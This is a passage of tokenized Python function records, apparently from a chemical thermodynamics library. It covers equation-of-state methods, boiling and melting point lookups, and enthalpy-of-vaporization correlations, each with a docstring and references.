<NUM_LIT:2>*R*Tc*V*a*b*m + R*Tc*V*a*b + V*a**<NUM_LIT:2>*m**<NUM_LIT:4> + <NUM_LIT:2>*V*a**<NUM_LIT:2>*m**<NUM_LIT:3> + V*a**<NUM_LIT:2>*m**<NUM_LIT:2> - a**<NUM_LIT:2>*b*m**<NUM_LIT:4> - <NUM_LIT:2>*a**<NUM_LIT:2>*b*m**<NUM_LIT:3> - a**<NUM_LIT:2>*b*m**<NUM_LIT:2>))/((R*Tc*V**<NUM_LIT:2> + R*Tc*V*b - V*a*m**<NUM_LIT:2> + a*b*m**<NUM_LIT:2>)**<NUM_LIT:2>*(R**<NUM_LIT:2>*Tc**<NUM_LIT:2>*V**<NUM_LIT:4> + <NUM_LIT:2>*R**<NUM_LIT:2>*Tc**<NUM_LIT:2>*V**<NUM_LIT:3>*b + R**<NUM_LIT:2>*Tc**<NUM_LIT:2>*V**<NUM_LIT:2>*b**<NUM_LIT:2> - <NUM_LIT:2>*R*Tc*V**<NUM_LIT:3>*a*m**<NUM_LIT:2> + <NUM_LIT:2>*R*Tc*V*a*b**<NUM_LIT:2>*m**<NUM_LIT:2> + V**<NUM_LIT:2>*a**<NUM_LIT:2>*m**<NUM_LIT:4> - <NUM_LIT:2>*V*a**<NUM_LIT:2>*b*m**<NUM_LIT:4> + a**<NUM_LIT:2>*b**<NUM_LIT:2>*m**<NUM_LIT:4>))<EOL><DEDENT>", "docstring": "r'''Method to calculate `T` from a specified `P` and `V` for the SRK\n        EOS. Uses `a`, `b`, and `Tc` obtained from the class's namespace.\n\n        Parameters\n        ----------\n        P : float\n            Pressure, [Pa]\n        V : float\n            Molar volume, [m^3/mol]\n        quick : bool, optional\n            Whether to use a SymPy cse-derived expression (3x faster) or \n            individual formulas\n\n        Returns\n        -------\n        T : float\n            Temperature, [K]\n\n        Notes\n        -----\n        The exact solution can be derived as follows; it is excluded for \n        breviety.\n\n        >>> from sympy import *\n        >>> P, T, V, R, a, b, m = symbols('P, T, V, R, a, b, m')\n        >>> Tc, Pc, omega = symbols('Tc, Pc, omega')\n        >>> a_alpha = a*(1 + m*(1-sqrt(T/Tc)))**2\n        >>> SRK = R*T/(V-b) - a_alpha/(V*(V+b)) - P\n        >>> # solve(SRK, T)", "id": "f15780:c9:m2"}
{"signature": "def a_alpha_and_derivatives(self, T, full=True, quick=True):", "body": "a, Tc, S1, S2 = self.a, self.Tc, self.S1, self.S2<EOL>if not full:<EOL><INDENT>return a*(S1*(-(T/Tc)**<NUM_LIT:0.5> + <NUM_LIT:1.>) + S2*(-(T/Tc)**<NUM_LIT:0.5> + <NUM_LIT:1>)*(T/Tc)**-<NUM_LIT:0.5> + <NUM_LIT:1>)**<NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>if quick:<EOL><INDENT>x0 = (T/Tc)**<NUM_LIT:0.5><EOL>x1 = x0 - <NUM_LIT:1.><EOL>x2 = x1/x0<EOL>x3 = S2*x2<EOL>x4 = S1*x1 + x3 - <NUM_LIT:1.><EOL>x5 = S1*x0<EOL>x6 = S2 - x3 + x5<EOL>x7 = <NUM_LIT>*S2<EOL>a_alpha = a*x4*x4<EOL>da_alpha_dT = a*x4*x6/T<EOL>d2a_alpha_dT2 = a*(-x4*(-x2*x7 + x5 + x7) + x6*x6)/(<NUM_LIT>*T*T)<EOL><DEDENT>else:<EOL><INDENT>a_alpha = a*(S1*(-sqrt(T/Tc) + <NUM_LIT:1>) + S2*(-sqrt(T/Tc) + <NUM_LIT:1>)/sqrt(T/Tc) + <NUM_LIT:1>)**<NUM_LIT:2><EOL>da_alpha_dT = a*((S1*(-sqrt(T/Tc) + <NUM_LIT:1>) + S2*(-sqrt(T/Tc) + <NUM_LIT:1>)/sqrt(T/Tc) + <NUM_LIT:1>)*(-S1*sqrt(T/Tc)/T - S2/T - S2*(-sqrt(T/Tc) + <NUM_LIT:1>)/(T*sqrt(T/Tc))))<EOL>d2a_alpha_dT2 = a*(((S1*sqrt(T/Tc) + S2 - S2*(sqrt(T/Tc) - <NUM_LIT:1>)/sqrt(T/Tc))**<NUM_LIT:2> - (S1*sqrt(T/Tc) + <NUM_LIT:3>*S2 - <NUM_LIT:3>*S2*(sqrt(T/Tc) - <NUM_LIT:1>)/sqrt(T/Tc))*(S1*(sqrt(T/Tc) - <NUM_LIT:1>) + S2*(sqrt(T/Tc) - <NUM_LIT:1>)/sqrt(T/Tc) - <NUM_LIT:1>))/(<NUM_LIT:2>*T**<NUM_LIT:2>))<EOL><DEDENT>return a_alpha, da_alpha_dT, d2a_alpha_dT2<EOL><DEDENT>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives for this EOS. Returns `a_alpha`, `da_alpha_dT`, and \n        `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives` for more \n        documentation. Uses the set values of `Tc`, `a`, `S1`, and `S2`. \n\n        .. math::\n            a\\alpha(T) = a\\left[1 + S_1\\left(1-\\sqrt{T_r}\\right) + S_2\\frac{1\n            - \\sqrt{T_r}}{\\sqrt{T_r}}\\right]^2\n\n            \\frac{d a\\alpha}{dT} = a\\frac{Tc}{T^{2}} \\left(- S_{2} \\left(\\sqrt{\n            \\frac{T}{Tc}} - 1\\right) + \\sqrt{\\frac{T}{Tc}} \\left(S_{1} \\sqrt{\n            \\frac{T}{Tc}} + S_{2}\\right)\\right) \\left(S_{2} \\left(\\sqrt{\\frac{\n            T}{Tc}} - 1\\right) + \\sqrt{\\frac{T}{Tc}} \\left(S_{1} \\left(\\sqrt{\n            \\frac{T}{Tc}} - 1\\right) - 1\\right)\\right)\n\n            \\frac{d^2 a\\alpha}{dT^2} = a\\frac{1}{2 T^{3}} \\left(S_{1}^{2} T\n            \\sqrt{\\frac{T}{Tc}} - S_{1} S_{2} T \\sqrt{\\frac{T}{Tc}} + 3 S_{1}\n            S_{2} Tc \\sqrt{\\frac{T}{Tc}} + S_{1} T \\sqrt{\\frac{T}{Tc}} \n            - 3 S_{2}^{2} Tc \\sqrt{\\frac{T}{Tc}} + 4 S_{2}^{2} Tc + 3 S_{2} \n            Tc \\sqrt{\\frac{T}{Tc}}\\right)", "id": "f15780:c10:m1"}
{"signature": "def solve_T(self, P, V, quick=True):", "body": "if self.S2 == <NUM_LIT:0>:<EOL><INDENT>self.m = self.S1<EOL>return SRK.solve_T(self, P, V, quick=quick)<EOL><DEDENT>else:<EOL><INDENT>return super(SRK, self).solve_T(P, V, quick=quick) <EOL>", "docstring": "r'''Method to calculate `T` from a specified `P` and `V` for the API \n        SRK EOS. Uses `a`, `b`, and `Tc` obtained from the class's namespace.\n\n        Parameters\n        ----------\n        P : float\n            Pressure, [Pa]\n        V : float\n            Molar volume, [m^3/mol]\n        quick : bool, optional\n            Whether to use a SymPy cse-derived expression (3x faster) or \n            individual formulas\n\n        Returns\n        -------\n        T : float\n            Temperature, [K]\n\n        Notes\n        -----\n        If S2 is set to 0, the solution is the same as in the SRK EOS, and that\n        is used. Otherwise, newton's method must be used to solve for `T`. \n        There are 8 roots of T in that case, six of them real. No guarantee can\n        be made regarding which root will be obtained.", "id": "f15780:c10:m2"}
{"signature": "def a_alpha_and_derivatives(self, T, full=True, quick=True):", "body": "return TWU_a_alpha_common(T, self.Tc, self.omega, self.a, full=full, quick=quick, method='<STR_LIT>')<EOL>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives for this EOS. Returns `a_alpha`, `da_alpha_dT`, and \n        `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives` for more \n        documentation. Uses the set values of `Tc`, `omega`, and `a`.\n\n        Because of its similarity for the TWUSRK EOS, this has been moved to an \n        external `TWU_a_alpha_common` function. See it for further \n        documentation.", "id": "f15780:c11:m1"}
{"signature": "def a_alpha_and_derivatives(self, T, full=True, quick=True):", "body": "return TWU_a_alpha_common(T, self.Tc, self.omega, self.a, full=full, quick=quick, method='<STR_LIT>')<EOL>", "docstring": "r'''Method to calculate `a_alpha` and its first and second\n        derivatives for this EOS. Returns `a_alpha`, `da_alpha_dT`, and \n        `d2a_alpha_dT2`. See `GCEOS.a_alpha_and_derivatives` for more \n        documentation. Uses the set values of `Tc`, `omega`, and `a`.\n\n        Because of its similarity for the TWUPR EOS, this has been moved to an \n        external `TWU_a_alpha_common` function. See it for further \n        documentation.", "id": "f15780:c12:m1"}
{"signature": "def Tb(CASRN, AvailableMethods=False, Method=None, IgnoreMethods=[PSAT_DEFINITION]):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in CRC_inorganic_data.index and not np.isnan(CRC_inorganic_data.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(CRC_INORG)<EOL><DEDENT>if CASRN in CRC_organic_data.index and not np.isnan(CRC_organic_data.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(CRC_ORG)<EOL><DEDENT>if CASRN in Yaws_data.index:<EOL><INDENT>methods.append(YAWS)<EOL><DEDENT>if PSAT_DEFINITION not in IgnoreMethods:<EOL><INDENT>try:<EOL><INDENT>VaporPressure(CASRN=CASRN).solve_prop(<NUM_LIT>)<EOL>methods.append(PSAT_DEFINITION)<EOL><DEDENT>except:  <EOL><INDENT>pass<EOL><DEDENT><DEDENT>if IgnoreMethods:<EOL><INDENT>for Method in IgnoreMethods:<EOL><INDENT>if Method in methods:<EOL><INDENT>methods.remove(Method)<EOL><DEDENT><DEDENT><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == CRC_INORG:<EOL><INDENT>return float(CRC_inorganic_data.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == CRC_ORG:<EOL><INDENT>return float(CRC_organic_data.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == YAWS:<EOL><INDENT>return float(Yaws_data.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == PSAT_DEFINITION:<EOL><INDENT>return VaporPressure(CASRN=CASRN).solve_prop(<NUM_LIT>)<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''This function handles the retrieval of a chemical's boiling\n    point. Lookup is based on CASRNs. Will automatically select a data\n    source to use if no Method is provided; returns None if the data is not\n    available.\n\n    Prefered sources are 'CRC Physical Constants, organic' for organic\n    chemicals, and 'CRC Physical Constants, inorganic' for inorganic\n    chemicals. Function has data for approximately 13000 chemicals.\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    Tb : float\n        Boiling temperature, [K]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain Tb with the given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        A string for the method name to use, as defined by constants in\n        Tb_methods\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        Tb for the desired chemical, and will return methods instead of Tb\n    IgnoreMethods : list, optional\n        A list of methods to ignore in obtaining the full list of methods,\n        useful for for performance reasons and ignoring inaccurate methods\n\n    Notes\n    -----\n    A total of four methods are available for this function. They are:\n\n        * 'CRC_ORG', a compillation of data on organics\n          as published in [1]_.\n        * 'CRC_INORG', a compillation of data on\n          inorganic as published in [1]_.\n        * 'YAWS', a large compillation of data from a\n          variety of sources; no data points are sourced in the work of [2]_.\n        * 'PSAT_DEFINITION', calculation of boiling point from a\n          vapor pressure calculation. This is normally off by a fraction of a\n          degree even in the best cases. Listed in IgnoreMethods by default\n          for performance reasons.\n\n    Examples\n    --------\n    >>> Tb('7732-18-5')\n    373.124\n\n    References\n    ----------\n    .. [1] Haynes, W.M., Thomas J. Bruno, and David R. Lide. CRC Handbook of\n       Chemistry and Physics, 95E. Boca Raton, FL: CRC press, 2014.\n    .. [2] Yaws, Carl L. Thermophysical Properties of Chemicals and\n       Hydrocarbons, Second Edition. Amsterdam Boston: Gulf Professional\n       Publishing, 2014.", "id": "f15781:m0"}
{"signature": "def Tm(CASRN, AvailableMethods=False, Method=None, IgnoreMethods=[]):", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if CASRN in Tm_ON_data.index:<EOL><INDENT>methods.append(OPEN_NTBKM)<EOL><DEDENT>if CASRN in CRC_inorganic_data.index and not np.isnan(CRC_inorganic_data.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(CRC_INORG)<EOL><DEDENT>if CASRN in CRC_organic_data.index and not np.isnan(CRC_organic_data.at[CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(CRC_ORG)<EOL><DEDENT>if IgnoreMethods:<EOL><INDENT>for Method in IgnoreMethods:<EOL><INDENT>if Method in methods:<EOL><INDENT>methods.remove(Method)<EOL><DEDENT><DEDENT><DEDENT>methods.append(NONE)<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == OPEN_NTBKM:<EOL><INDENT>return float(Tm_ON_data.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == CRC_INORG:<EOL><INDENT>return float(CRC_inorganic_data.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == CRC_ORG:<EOL><INDENT>return float(CRC_organic_data.at[CASRN, '<STR_LIT>'])<EOL><DEDENT>elif Method == NONE:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''This function handles the retrieval of a chemical's melting\n    point. Lookup is based on CASRNs. Will automatically select a data\n    source to use if no Method is provided; returns None if the data is not\n    available.\n\n    Prefered sources are 'Open Notebook Melting Points', with backup sources\n    'CRC Physical Constants, organic' for organic chemicals, and\n    'CRC Physical Constants, inorganic' for inorganic chemicals. Function has\n    data for approximately 14000 chemicals.\n\n    Parameters\n    ----------\n    CASRN : string\n        CASRN [-]\n\n    Returns\n    -------\n    Tm : float\n        Melting temperature, [K]\n    methods : list, only returned if AvailableMethods == True\n        List of methods which can be used to obtain Tm with the given inputs\n\n    Other Parameters\n    ----------------\n    Method : string, optional\n        A string for the method name to use, as defined by constants in\n        Tm_methods\n    AvailableMethods : bool, optional\n        If True, function will determine which methods can be used to obtain\n        Tm for the desired chemical, and will return methods instead of Tm\n    IgnoreMethods : list, optional\n        A list of methods to ignore in obtaining the full list of methods\n\n    Notes\n    -----\n    A total of three sources are available for this function. They are:\n\n        * 'OPEN_NTBKM, a compillation of data on organics\n          as published in [1]_ as Open Notebook Melting Points; Averaged \n          (median) values were used when\n          multiple points were available. For more information on this\n          invaluable and excellent collection, see\n          http://onswebservices.wikispaces.com/meltingpoint.\n        * 'CRC_ORG', a compillation of data on organics\n          as published in [2]_.\n        * 'CRC_INORG', a compillation of data on\n          inorganic as published in [2]_.\n\n    Examples\n    --------\n    >>> Tm(CASRN='7732-18-5')\n    273.15\n\n    References\n    ----------\n    .. [1] Bradley, Jean-Claude, Antony Williams, and Andrew Lang.\n       \"Jean-Claude Bradley Open Melting Point Dataset\", May 20, 2014.\n       https://figshare.com/articles/Jean_Claude_Bradley_Open_Melting_Point_Datset/1031637.\n    .. [2] Haynes, W.M., Thomas J. Bruno, and David R. Lide. CRC Handbook of\n       Chemistry and Physics, 95E. Boca Raton, FL: CRC press, 2014.", "id": "f15781:m1"}
{"signature": "def Clapeyron(T, Tc, Pc, dZ=<NUM_LIT:1>, Psat=<NUM_LIT>):", "body": "Tr = T/Tc<EOL>return R*T*dZ*log(Pc/Psat)/(<NUM_LIT:1.> - Tr)<EOL>", "docstring": "r'''Calculates enthalpy of vaporization at arbitrary temperatures using the\n    Clapeyron equation.\n\n    The enthalpy of vaporization is given by:\n\n    .. math::\n        \\Delta H_{vap} = RT \\Delta Z \\frac{\\ln (P_c/Psat)}{(1-T_{r})}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n    dZ : float\n        Change in compressibility factor between liquid and gas, []\n    Psat : float\n        Saturation pressure of fluid [Pa], optional\n\n    Returns\n    -------\n    Hvap : float\n        Enthalpy of vaporization, [J/mol]\n\n    Notes\n    -----\n    No original source is available for this equation.\n    [1]_ claims this equation overpredicts enthalpy by several percent.\n    Under Tr = 0.8, dZ = 1 is a reasonable assumption.\n    This equation is most accurate at the normal boiling point.\n\n    Internal units are bar.\n\n    WARNING: I believe it possible that the adjustment for pressure may be incorrect\n\n    Examples\n    --------\n    Problem from Perry's examples.\n\n    >>> Clapeyron(T=294.0, Tc=466.0, Pc=5.55E6)\n    26512.354585061985\n\n    References\n    ----------\n    .. [1] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.", "id": "f15781:m2"}
{"signature": "def Pitzer(T, Tc, omega):", "body": "Tr = T/Tc<EOL>return R*Tc * (<NUM_LIT>*(<NUM_LIT:1.> - Tr)**<NUM_LIT> + <NUM_LIT>*omega*(<NUM_LIT:1.> - Tr)**<NUM_LIT>)<EOL>", "docstring": "r'''Calculates enthalpy of vaporization at arbitrary temperatures using a\n    fit by [2]_ to the work of Pitzer [1]_; requires a chemical's critical\n    temperature and acentric factor.\n\n    The enthalpy of vaporization is given by:\n\n    .. math::\n        \\frac{\\Delta_{vap} H}{RT_c}=7.08(1-T_r)^{0.354}+10.95\\omega(1-T_r)^{0.456}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    omega : float\n        Acentric factor [-]\n\n    Returns\n    -------\n    Hvap : float\n        Enthalpy of vaporization, [J/mol]\n\n    Notes\n    -----\n    This equation is listed in [3]_, page 2-487 as method #2 for estimating\n    Hvap. This cites [2]_.\n\n    The recommended range is 0.6 to 1 Tr. Users should expect up to 5% error.\n    T must be under Tc, or an exception is raised.\n\n    The original article has been reviewed and found to have a set of tabulated\n    values which could be used instead of the fit function to provide additional\n    accuracy.\n\n    Examples\n    --------\n    Example as in [3]_, p2-487; exp: 37.51 kJ/mol\n\n    >>> Pitzer(452, 645.6, 0.35017)\n    36696.736640106414\n\n    References\n    ----------\n    .. [1] Pitzer, Kenneth S. \"The Volumetric and Thermodynamic Properties of\n       Fluids. I. Theoretical Basis and Virial Coefficients.\"\n       Journal of the American Chemical Society 77, no. 13 (July 1, 1955):\n       3427-33. doi:10.1021/ja01618a001\n    .. [2] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.\n    .. [3] Green, Don, and Robert Perry. Perry's Chemical Engineers' Handbook,\n       Eighth Edition. McGraw-Hill Professional, 2007.", "id": "f15781:m3"}
{"signature": "def SMK(T, Tc, omega):", "body": "omegaR1, omegaR2 = <NUM_LIT>, <NUM_LIT><EOL>A10 = <NUM_LIT><EOL>A20 = -<NUM_LIT><EOL>A30 = -<NUM_LIT><EOL>B10 = <NUM_LIT><EOL>B20 = <NUM_LIT><EOL>B30 = -<NUM_LIT><EOL>A11 = -<NUM_LIT><EOL>A21 = -<NUM_LIT><EOL>A31 = -<NUM_LIT><EOL>B11 = <NUM_LIT><EOL>B21 = <NUM_LIT><EOL>B31 = -<NUM_LIT><EOL>tau = <NUM_LIT:1.> - T/Tc<EOL>L0 = A10*tau**(<NUM_LIT:1>/<NUM_LIT>) + A20*tau**(<NUM_LIT:5>/<NUM_LIT>) + A30*tau**(<NUM_LIT:1>-<NUM_LIT:1>/<NUM_LIT> + <NUM_LIT:1>/<NUM_LIT>) +B10*tau + B20*tau**<NUM_LIT:2> + B30*tau**<NUM_LIT:3><EOL>L1 = A11*tau**(<NUM_LIT:1>/<NUM_LIT>) + A21*tau**(<NUM_LIT:5>/<NUM_LIT>) + A31*tau**(<NUM_LIT:1>-<NUM_LIT:1>/<NUM_LIT> + <NUM_LIT:1>/<NUM_LIT>) +B11*tau + B21*tau**<NUM_LIT:2> + B31*tau**<NUM_LIT:3><EOL>domega = (omega - omegaR1)/(omegaR2 - omegaR1)<EOL>return R*Tc*(L0 + domega*L1)<EOL>", "docstring": "r'''Calculates enthalpy of vaporization at arbitrary temperatures using a\n    the work of [1]_; requires a chemical's critical temperature and\n    acentric factor.\n\n    The enthalpy of vaporization is given by:\n\n    .. math::\n         \\frac{\\Delta H_{vap}} {RT_c} =\n         \\left( \\frac{\\Delta H_{vap}} {RT_c} \\right)^{(R1)} + \\left(\n         \\frac{\\omega - \\omega^{(R1)}} {\\omega^{(R2)} - \\omega^{(R1)}} \\right)\n         \\left[\\left( \\frac{\\Delta H_{vap}} {RT_c} \\right)^{(R2)} - \\left(\n         \\frac{\\Delta H_{vap}} {RT_c} \\right)^{(R1)} \\right]\n\n        \\left( \\frac{\\Delta H_{vap}} {RT_c} \\right)^{(R1)}\n        = 6.537 \\tau^{1/3} - 2.467 \\tau^{5/6} - 77.251 \\tau^{1.208} +\n        59.634 \\tau + 36.009 \\tau^2 - 14.606 \\tau^3\n\n        \\left( \\frac{\\Delta H_{vap}} {RT_c} \\right)^{(R2)} - \\left(\n        \\frac{\\Delta H_{vap}} {RT_c} \\right)^{(R1)}=-0.133 \\tau^{1/3} - 28.215\n        \\tau^{5/6} - 82.958 \\tau^{1.208} + 99.00 \\tau  + 19.105 \\tau^2 -2.796 \\tau^3\n\n        \\tau = 1-T/T_c\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    omega : float\n        Acentric factor [-]\n\n    Returns\n    -------\n    Hvap : float\n        Enthalpy of vaporization, [J/mol]\n\n    Notes\n    -----\n    The original article has been reviewed and found to have coefficients with\n    slightly more precision. Additionally, the form of the equation is slightly\n    different, but numerically equivalent.\n\n    The refence fluids are:\n\n    :math:`\\omega_0` = benzene = 0.212\n\n    :math:`\\omega_1` = carbazole = 0.461\n\n    A sample problem in the article has been verified. The numerical result\n    presented by the author requires high numerical accuracy to obtain.\n\n    Examples\n    --------\n    Problem in [1]_:\n\n    >>> SMK(553.15, 751.35, 0.302)\n    39866.17647797959\n\n    References\n    ----------\n    .. [1] Sivaraman, Alwarappa, Joe W. Magee, and Riki Kobayashi. \"Generalized\n       Correlation of Latent Heats of Vaporization of Coal-Liquid Model Compounds\n       between Their Freezing Points and Critical Points.\" Industrial &\n       Engineering Chemistry Fundamentals 23, no. 1 (February 1, 1984): 97-100.\n       doi:10.1021/i100013a017.", "id": "f15781:m4"}
{"signature": "def MK(T, Tc, omega):", "body": "bs = [[<NUM_LIT>, <NUM_LIT>, <NUM_LIT>],<EOL>[<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>],<EOL>[<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>],<EOL>[-<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>],<EOL>[<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>],<EOL>[-<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>]]<EOL>tau = <NUM_LIT:1.> - T/Tc<EOL>H0 = (bs[<NUM_LIT:0>][<NUM_LIT:0>]*tau**(<NUM_LIT>) + bs[<NUM_LIT:1>][<NUM_LIT:0>]*tau**(<NUM_LIT>) + bs[<NUM_LIT:2>][<NUM_LIT:0>]*tau**(<NUM_LIT>) +<EOL>bs[<NUM_LIT:3>][<NUM_LIT:0>]*tau + bs[<NUM_LIT:4>][<NUM_LIT:0>]*tau**(<NUM_LIT:2>) + bs[<NUM_LIT:5>][<NUM_LIT:0>]*tau**(<NUM_LIT:3>))*R*Tc<EOL>H1 = (bs[<NUM_LIT:0>][<NUM_LIT:1>]*tau**(<NUM_LIT>) + bs[<NUM_LIT:1>][<NUM_LIT:1>]*tau**(<NUM_LIT>) + bs[<NUM_LIT:2>][<NUM_LIT:1>]*tau**(<NUM_LIT>) +<EOL>bs[<NUM_LIT:3>][<NUM_LIT:1>]*tau + bs[<NUM_LIT:4>][<NUM_LIT:1>]*tau**(<NUM_LIT:2>) + bs[<NUM_LIT:5>][<NUM_LIT:1>]*tau**(<NUM_LIT:3>))*R*Tc<EOL>H2 = (bs[<NUM_LIT:0>][<NUM_LIT:2>]*tau**(<NUM_LIT>) + bs[<NUM_LIT:1>][<NUM_LIT:2>]*tau**(<NUM_LIT>) + bs[<NUM_LIT:2>][<NUM_LIT:2>]*tau**(<NUM_LIT>) +<EOL>bs[<NUM_LIT:3>][<NUM_LIT:2>]*tau + bs[<NUM_LIT:4>][<NUM_LIT:2>]*tau**(<NUM_LIT:2>) + bs[<NUM_LIT:5>][<NUM_LIT:2>]*tau**(<NUM_LIT:3>))*R*Tc<EOL>return H0 + omega*H1 + omega**<NUM_LIT:2>*H2<EOL>", "docstring": "r'''Calculates enthalpy of vaporization at arbitrary temperatures using a\n    the work of [1]_; requires a chemical's critical temperature and\n    acentric factor.\n\n    The enthalpy of vaporization is given by:\n\n    .. math::\n        \\Delta H_{vap} =  \\Delta H_{vap}^{(0)} + \\omega \\Delta H_{vap}^{(1)} + \\omega^2 \\Delta H_{vap}^{(2)}\n\n        \\frac{\\Delta H_{vap}^{(i)}}{RT_c} = b^{(j)} \\tau^{1/3} + b_2^{(j)} \\tau^{5/6}\n        + b_3^{(j)} \\tau^{1.2083} + b_4^{(j)}\\tau + b_5^{(j)} \\tau^2 + b_6^{(j)} \\tau^3\n\n        \\tau = 1-T/T_c\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    omega : float\n        Acentric factor [-]\n\n    Returns\n    -------\n    Hvap : float\n        Enthalpy of vaporization, [J/mol]\n\n    Notes\n    -----\n    The original article has been reviewed. A total of 18 coefficients are used:\n\n    WARNING: The correlation has been implemented as described in the article,\n    but its results seem different and with some error.\n    Its results match with other functions however.\n\n    Has poor behavior for low-temperature use.\n\n    Examples\n    --------\n    Problem in article for SMK function.\n\n    >>> MK(553.15, 751.35, 0.302)\n    38727.993546377205\n\n    References\n    ----------\n    .. [1] Morgan, David L., and Riki Kobayashi. \"Extension of Pitzer CSP\n       Models for Vapor Pressures and Heats of Vaporization to Long-Chain\n       Hydrocarbons.\" Fluid Phase Equilibria 94 (March 15, 1994): 51-87.\n       doi:10.1016/0378-3812(94)87051-9.", "id": "f15781:m5"}
{"signature": "def Velasco(T, Tc, omega):", "body": "return (<NUM_LIT> + <NUM_LIT>*omega + <NUM_LIT>*omega**<NUM_LIT:2>)*(<NUM_LIT:1>-T/Tc)**<NUM_LIT>*R*Tc<EOL>", "docstring": "r'''Calculates enthalpy of vaporization at arbitrary temperatures using a\n    the work of [1]_; requires a chemical's critical temperature and\n    acentric factor.\n\n    The enthalpy of vaporization is given by:\n\n    .. math::\n        \\Delta_{vap} H = RT_c(7.2729 + 10.4962\\omega + 0.6061\\omega^2)(1-T_r)^{0.38}\n\n    Parameters\n    ----------\n    T : float\n        Temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    omega : float\n        Acentric factor [-]\n\n    Returns\n    -------\n    Hvap : float\n        Enthalpy of vaporization, [J/mol]\n\n    Notes\n    -----\n    The original article has been reviewed. It is regressed from enthalpy of\n    vaporization values at 0.7Tr, from 121 fluids in REFPROP 9.1.\n    A value in the article was read to be similar, but slightly too low from\n    that calculated here.\n\n    Examples\n    --------\n    From graph, in [1]_ for perfluoro-n-heptane.\n\n    >>> Velasco(333.2, 476.0, 0.5559)\n    33299.41734936356\n\n    References\n    ----------\n    .. [1] Velasco, S., M. J. Santos, and J. A. White. \"Extended Corresponding\n       States Expressions for the Changes in Enthalpy, Compressibility Factor\n       and Constant-Volume Heat Capacity at Vaporization.\" The Journal of\n       Chemical Thermodynamics 85 (June 2015): 68-76.\n       doi:10.1016/j.jct.2015.01.011.", "id": "f15781:m6"}
{"signature": "def Riedel(Tb, Tc, Pc):", "body": "Pc = Pc/<NUM_LIT>  <EOL>Tbr = Tb/Tc<EOL>return <NUM_LIT>*Tb*R*(log(Pc) - <NUM_LIT>)/(<NUM_LIT> - Tbr)<EOL>", "docstring": "r'''Calculates enthalpy of vaporization at the boiling point, using the\n    Ridel [1]_ CSP method. Required information are critical temperature\n    and pressure, and boiling point. Equation taken from [2]_ and [3]_.\n\n    The enthalpy of vaporization is given by:\n\n    .. math::\n        \\Delta_{vap} H=1.093 T_b R\\frac{\\ln P_c-1.013}{0.930-T_{br}}\n\n    Parameters\n    ----------\n    Tb : float\n        Boiling temperature of fluid [K]\n    Tc : float\n        Critical temperature of fluid [K]\n    Pc : float\n        Critical pressure of fluid [Pa]\n\n    Returns\n    -------\n    Hvap : float\n        Enthalpy of vaporization at the normal boiling point, [J/mol]\n\n    Notes\n    -----\n    This equation has no example calculation in any source. The source has not\n    been verified. It is equation 4-144 in Perry's. Perry's also claims that\n    errors seldom surpass 5%.\n\n    [2]_ is the source of example work here, showing a calculation at 0.0%\n    error.\n\n    Internal units of pressure are bar.\n\n    Examples\n    --------\n    Pyridine, 0.0% err vs. exp: 35090 J/mol; from Poling [2]_.\n\n    >>> Riedel(388.4, 620.0, 56.3E5)\n    35089.78989646058\n\n    References\n    ----------\n    .. [1] Riedel, L. \"Eine Neue Universelle Dampfdruckformel Untersuchungen\n       Uber Eine Erweiterung Des Theorems Der Ubereinstimmenden Zustande. Teil\n       I.\" Chemie Ingenieur Technik 26, no. 2 (February 1, 1954): 83-89.\n       doi:10.1002/cite.330260206.\n    .. [2] Poling, Bruce E. The Properties of Gases and Liquids. 5th edition.\n       New York: McGraw-Hill Professional, 2000.\n    .. [3] Green, Don, and Robert Perry. Perry's Chemical 